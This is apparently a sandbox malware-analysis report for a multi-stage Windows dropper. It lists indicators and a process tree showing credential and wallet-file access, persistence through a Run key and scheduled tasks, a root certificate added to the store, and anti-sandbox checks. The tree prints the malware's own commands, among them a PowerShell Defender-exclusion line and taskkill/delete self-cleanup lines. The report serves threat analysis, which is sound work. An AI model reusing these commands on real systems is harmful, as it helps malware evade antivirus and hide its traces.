djvu | baa381f572d293636b6e48cacd2cd6a6f4f9e5f71c583873260f6ac01f0f5e15

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	conhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	conhost.exe

Loads dropped DLL 64 IoCs

pid	Process
800	setup_x86_x64_install.exe
1672	setup_installer.exe
1672	setup_installer.exe
1672	setup_installer.exe
1672	setup_installer.exe
1672	setup_installer.exe
1672	setup_installer.exe
784	setup_install.exe
784	setup_install.exe
784	setup_install.exe
784	setup_install.exe
784	setup_install.exe
784	setup_install.exe
784	setup_install.exe
784	setup_install.exe
1936	cmd.exe
1936	cmd.exe
1920	cmd.exe
1928	cmd.exe
940	Fri1544861ac3fe6a.exe
940	Fri1544861ac3fe6a.exe
1440	Fri157e25afd971.exe
1440	Fri157e25afd971.exe
1564	Fri156ec98815f89c.exe
1564	Fri156ec98815f89c.exe
1292	cmd.exe
1292	cmd.exe
1828	cmd.exe
1876	Fri15af75ee9b.exe
1876	Fri15af75ee9b.exe
1440	Fri157e25afd971.exe
1456	Fri157e25afd971.tmp
1456	Fri157e25afd971.tmp
1456	Fri157e25afd971.tmp
1672	LzmwAqmV.exe
1672	LzmwAqmV.exe
1456	Fri157e25afd971.tmp
1464	rundll32.exe
1464	rundll32.exe
1464	rundll32.exe
1464	rundll32.exe
1672	LzmwAqmV.exe
1672	LzmwAqmV.exe
1672	LzmwAqmV.exe
1672	LzmwAqmV.exe
744	setup.exe
1672	LzmwAqmV.exe
1672	LzmwAqmV.exe
1672	LzmwAqmV.exe
2068	Pubdate.exe
2068	Pubdate.exe
2124	setup_2.exe
2124	setup_2.exe
2156	8675853.exe
2156	8675853.exe
1672	LzmwAqmV.exe
1672	LzmwAqmV.exe
2124	setup_2.exe
2228	8623021.exe
2228	8623021.exe
2252	ultramediaburner.tmp
2252	ultramediaburner.tmp
1672	LzmwAqmV.exe
2332	setup_2.tmp

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3260	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	8675853.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
40	ip-api.com
260	api.2ip.ua
261	api.2ip.ua
271	api.2ip.ua

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2676	conhost.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-15K44.tmp	setup_2.tmp
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 4 IoCs

pid	pid_target	Process	procid_target
2168	1580	WerFault.exe	56
2056	2100	WerFault.exe	60
2988	2844	WerFault.exe	81
3952	3244	WerFault.exe	214

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri15af75ee9b.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri15af75ee9b.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Fri15af75ee9b.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Fri1544861ac3fe6a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Fri1544861ac3fe6a.exe

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
2996	schtasks.exe
3032	schtasks.exe
1236	schtasks.exe
3376	schtasks.exe
3152	schtasks.exe

Delays execution with timeout.exe 4 IoCs

evasion

pid	Process
3728	timeout.exe
2268	timeout.exe
2280	timeout.exe
572	timeout.exe

Kills process with taskkill 7 IoCs

evasion

pid	Process
3248	taskkill.exe
3108	taskkill.exe
2316	taskkill.exe
2712	taskkill.exe
2760	taskkill.exe
3188	taskkill.exe
1440	taskkill.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Fri1544861ac3fe6a.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Fri1544861ac3fe6a.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Fri1544861ac3fe6a.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	42	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1876	Fri15af75ee9b.exe
1876	Fri15af75ee9b.exe
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1336	powershell.exe
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
940	Fri1544861ac3fe6a.exe
940	Fri1544861ac3fe6a.exe
940	Fri1544861ac3fe6a.exe
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found
1200	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1876	Fri15af75ee9b.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeDebugPrivilege	1492	Fri1553f0ee90.exe
Token: SeShutdownPrivilege	1200	Process not Found
Token: SeDebugPrivilege	1580	2.exe
Token: SeDebugPrivilege	1632	conhost.exe
Token: SeDebugPrivilege	1336	powershell.exe
Token: SeShutdownPrivilege	1200	Process not Found
Token: SeShutdownPrivilege	1200	Process not Found
Token: SeDebugPrivilege	2100	1147395.exe
Token: SeShutdownPrivilege	1200	Process not Found
Token: SeShutdownPrivilege	1200	Process not Found
Token: SeShutdownPrivilege	1200	Process not Found
Token: SeShutdownPrivilege	1200	Process not Found
Token: SeShutdownPrivilege	1200	Process not Found
Token: SeDebugPrivilege	2168	WerFault.exe
Token: SeDebugPrivilege	2696	BearVpn 3.exe
Token: SeDebugPrivilege	2844	4971750.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2568	setup_2.tmp

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 800 wrote to memory of 1672	800	setup_x86_x64_install.exe	29
PID 800 wrote to memory of 1672	800	setup_x86_x64_install.exe	29
PID 800 wrote to memory of 1672	800	setup_x86_x64_install.exe	29
PID 800 wrote to memory of 1672	800	setup_x86_x64_install.exe	29
PID 800 wrote to memory of 1672	800	setup_x86_x64_install.exe	29
PID 800 wrote to memory of 1672	800	setup_x86_x64_install.exe	29
PID 800 wrote to memory of 1672	800	setup_x86_x64_install.exe	29
PID 1672 wrote to memory of 784	1672	setup_installer.exe	30
PID 1672 wrote to memory of 784	1672	setup_installer.exe	30
PID 1672 wrote to memory of 784	1672	setup_installer.exe	30
PID 1672 wrote to memory of 784	1672	setup_installer.exe	30
PID 1672 wrote to memory of 784	1672	setup_installer.exe	30
PID 1672 wrote to memory of 784	1672	setup_installer.exe	30
PID 1672 wrote to memory of 784	1672	setup_installer.exe	30
PID 784 wrote to memory of 1152	784	setup_install.exe	32
PID 784 wrote to memory of 1152	784	setup_install.exe	32
PID 784 wrote to memory of 1152	784	setup_install.exe	32
PID 784 wrote to memory of 1152	784	setup_install.exe	32
PID 784 wrote to memory of 1152	784	setup_install.exe	32
PID 784 wrote to memory of 1152	784	setup_install.exe	32
PID 784 wrote to memory of 1152	784	setup_install.exe	32
PID 784 wrote to memory of 1936	784	setup_install.exe	33
PID 784 wrote to memory of 1936	784	setup_install.exe	33
PID 784 wrote to memory of 1936	784	setup_install.exe	33
PID 784 wrote to memory of 1936	784	setup_install.exe	33
PID 784 wrote to memory of 1936	784	setup_install.exe	33
PID 784 wrote to memory of 1936	784	setup_install.exe	33
PID 784 wrote to memory of 1936	784	setup_install.exe	33
PID 784 wrote to memory of 1928	784	setup_install.exe	34
PID 784 wrote to memory of 1928	784	setup_install.exe	34
PID 784 wrote to memory of 1928	784	setup_install.exe	34
PID 784 wrote to memory of 1928	784	setup_install.exe	34
PID 784 wrote to memory of 1928	784	setup_install.exe	34
PID 784 wrote to memory of 1928	784	setup_install.exe	34
PID 784 wrote to memory of 1928	784	setup_install.exe	34
PID 784 wrote to memory of 1920	784	setup_install.exe	35
PID 784 wrote to memory of 1920	784	setup_install.exe	35
PID 784 wrote to memory of 1920	784	setup_install.exe	35
PID 784 wrote to memory of 1920	784	setup_install.exe	35
PID 784 wrote to memory of 1920	784	setup_install.exe	35
PID 784 wrote to memory of 1920	784	setup_install.exe	35
PID 784 wrote to memory of 1920	784	setup_install.exe	35
PID 784 wrote to memory of 976	784	setup_install.exe	36
PID 784 wrote to memory of 976	784	setup_install.exe	36
PID 784 wrote to memory of 976	784	setup_install.exe	36
PID 784 wrote to memory of 976	784	setup_install.exe	36
PID 784 wrote to memory of 976	784	setup_install.exe	36
PID 784 wrote to memory of 976	784	setup_install.exe	36
PID 784 wrote to memory of 976	784	setup_install.exe	36
PID 1152 wrote to memory of 1336	1152	cmd.exe	37
PID 1152 wrote to memory of 1336	1152	cmd.exe	37
PID 1152 wrote to memory of 1336	1152	cmd.exe	37
PID 1152 wrote to memory of 1336	1152	cmd.exe	37
PID 1152 wrote to memory of 1336	1152	cmd.exe	37
PID 1152 wrote to memory of 1336	1152	cmd.exe	37
PID 1152 wrote to memory of 1336	1152	cmd.exe	37
PID 784 wrote to memory of 1292	784	setup_install.exe	38
PID 784 wrote to memory of 1292	784	setup_install.exe	38
PID 784 wrote to memory of 1292	784	setup_install.exe	38
PID 784 wrote to memory of 1292	784	setup_install.exe	38
PID 784 wrote to memory of 1292	784	setup_install.exe	38
PID 784 wrote to memory of 1292	784	setup_install.exe	38
PID 784 wrote to memory of 1292	784	setup_install.exe	38
PID 784 wrote to memory of 1568	784	setup_install.exe	39

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:800
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1672
- - C:\Users\Admin\AppData\Local\Temp\7zS88674755\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS88674755\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:784
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1152
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1336
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri1544861ac3fe6a.exe
      4⤵
      Loads dropped DLL
      PID:1936
    - - C:\Users\Admin\AppData\Local\Temp\7zS88674755\Fri1544861ac3fe6a.exe
        
        Fri1544861ac3fe6a.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        
        PID:940
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im Fri1544861ac3fe6a.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS88674755\Fri1544861ac3fe6a.exe" & del C:\ProgramData\*.dll & exit
        6⤵
        
        PID:2152
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im Fri1544861ac3fe6a.exe /f
        7⤵
        Kills process with taskkill
        
        PID:2712
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri156ec98815f89c.exe
      4⤵
      Loads dropped DLL
      PID:1928
    - - C:\Users\Admin\AppData\Local\Temp\7zS88674755\Fri156ec98815f89c.exe
        
        Fri156ec98815f89c.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1564
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri157e25afd971.exe
      4⤵
      Loads dropped DLL
      PID:1920
    - - C:\Users\Admin\AppData\Local\Temp\7zS88674755\Fri157e25afd971.exe
        
        Fri157e25afd971.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1440
      - C:\Users\Admin\AppData\Local\Temp\is-DLO17.tmp\Fri157e25afd971.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-DLO17.tmp\Fri157e25afd971.tmp" /SL5="$4012E,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS88674755\Fri157e25afd971.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1456
        
        C:\Users\Admin\AppData\Local\Temp\is-GDV2A.tmp\zab2our.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-GDV2A.tmp\zab2our.exe" /S /UID=burnerch2
        7⤵
        Executes dropped EXE
        
        PID:740
        
        C:\Program Files\Reference Assemblies\EABMEBYAVT\ultramediaburner.exe
        
        "C:\Program Files\Reference Assemblies\EABMEBYAVT\ultramediaburner.exe" /VERYSILENT
        8⤵
        
        PID:2348
        
        C:\Users\Admin\AppData\Local\Temp\is-0O8A4.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-0O8A4.tmp\ultramediaburner.tmp" /SL5="$50192,281924,62464,C:\Program Files\Reference Assemblies\EABMEBYAVT\ultramediaburner.exe" /VERYSILENT
        9⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2252
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        10⤵
        
        PID:2188
        
        C:\Users\Admin\AppData\Local\Temp\3d-1ca21-7fa-bfcb5-fd6faabd79b83\Pofaeciqilu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3d-1ca21-7fa-bfcb5-fd6faabd79b83\Pofaeciqilu.exe"
        8⤵
        
        PID:2356
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        9⤵
        
        PID:2816
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2816 CREDAT:275457 /prefetch:2
        10⤵
        
        PID:2856
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2816 CREDAT:2831383 /prefetch:2
        10⤵
        
        PID:3508
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2816 CREDAT:3552278 /prefetch:2
        10⤵
        
        PID:3272
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2816 CREDAT:3159070 /prefetch:2
        10⤵
        
        PID:2372
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2816 CREDAT:1061940 /prefetch:2
        10⤵
        
        PID:2828
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2816 CREDAT:734270 /prefetch:2
        10⤵
        
        PID:3740
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
        9⤵
        
        PID:3600
        
        C:\Users\Admin\AppData\Local\Temp\15-b89b4-8a6-0c596-398a18e713581\Jejokadegae.exe
        
        "C:\Users\Admin\AppData\Local\Temp\15-b89b4-8a6-0c596-398a18e713581\Jejokadegae.exe"
        8⤵
        
        PID:3012
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\au5i2psf.1ku\GcleanerEU.exe /eufive & exit
        9⤵
        
        PID:3576
        
        C:\Users\Admin\AppData\Local\Temp\au5i2psf.1ku\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\au5i2psf.1ku\GcleanerEU.exe /eufive
        10⤵
        
        PID:3624
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\takqlqtc.5k4\installer.exe /qn CAMPAIGN="654" & exit
        9⤵
        
        PID:3616
        
        C:\Users\Admin\AppData\Local\Temp\takqlqtc.5k4\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\takqlqtc.5k4\installer.exe /qn CAMPAIGN="654"
        10⤵
        
        PID:3832
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\takqlqtc.5k4\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\takqlqtc.5k4\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630650924 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        11⤵
        
        PID:3780
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\oqurghro.yns\anyname.exe & exit
        9⤵
        
        PID:3680
        
        C:\Users\Admin\AppData\Local\Temp\oqurghro.yns\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\oqurghro.yns\anyname.exe
        10⤵
        
        PID:3728
        
        C:\Users\Admin\AppData\Local\Temp\oqurghro.yns\anyname.exe
        
        "C:\Users\Admin\AppData\Local\Temp\oqurghro.yns\anyname.exe" -u
        11⤵
        
        PID:3760
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\j3kpohi2.vye\gcleaner.exe /mixfive & exit
        9⤵
        
        PID:3788
        
        C:\Users\Admin\AppData\Local\Temp\j3kpohi2.vye\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\j3kpohi2.vye\gcleaner.exe /mixfive
        10⤵
        
        PID:3900
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\j3kpohi2.vye\gcleaner.exe" & exit
        11⤵
        
        PID:1692
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "gcleaner.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:2760
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gmiwrtr2.xk1\autosubplayer.exe /S & exit
        9⤵
        
        PID:3880
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri155442fc38b.exe
      4⤵
      PID:976
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri15af75ee9b.exe
      4⤵
      Loads dropped DLL
      PID:1292
    - - C:\Users\Admin\AppData\Local\Temp\7zS88674755\Fri15af75ee9b.exe
        
        Fri15af75ee9b.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:1876
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c APPNAME7.exe
      4⤵
      PID:1568
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri1553f0ee90.exe
      4⤵
      Loads dropped DLL
      PID:1828
    - - C:\Users\Admin\AppData\Local\Temp\7zS88674755\Fri1553f0ee90.exe
        
        Fri1553f0ee90.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1492
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1672
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
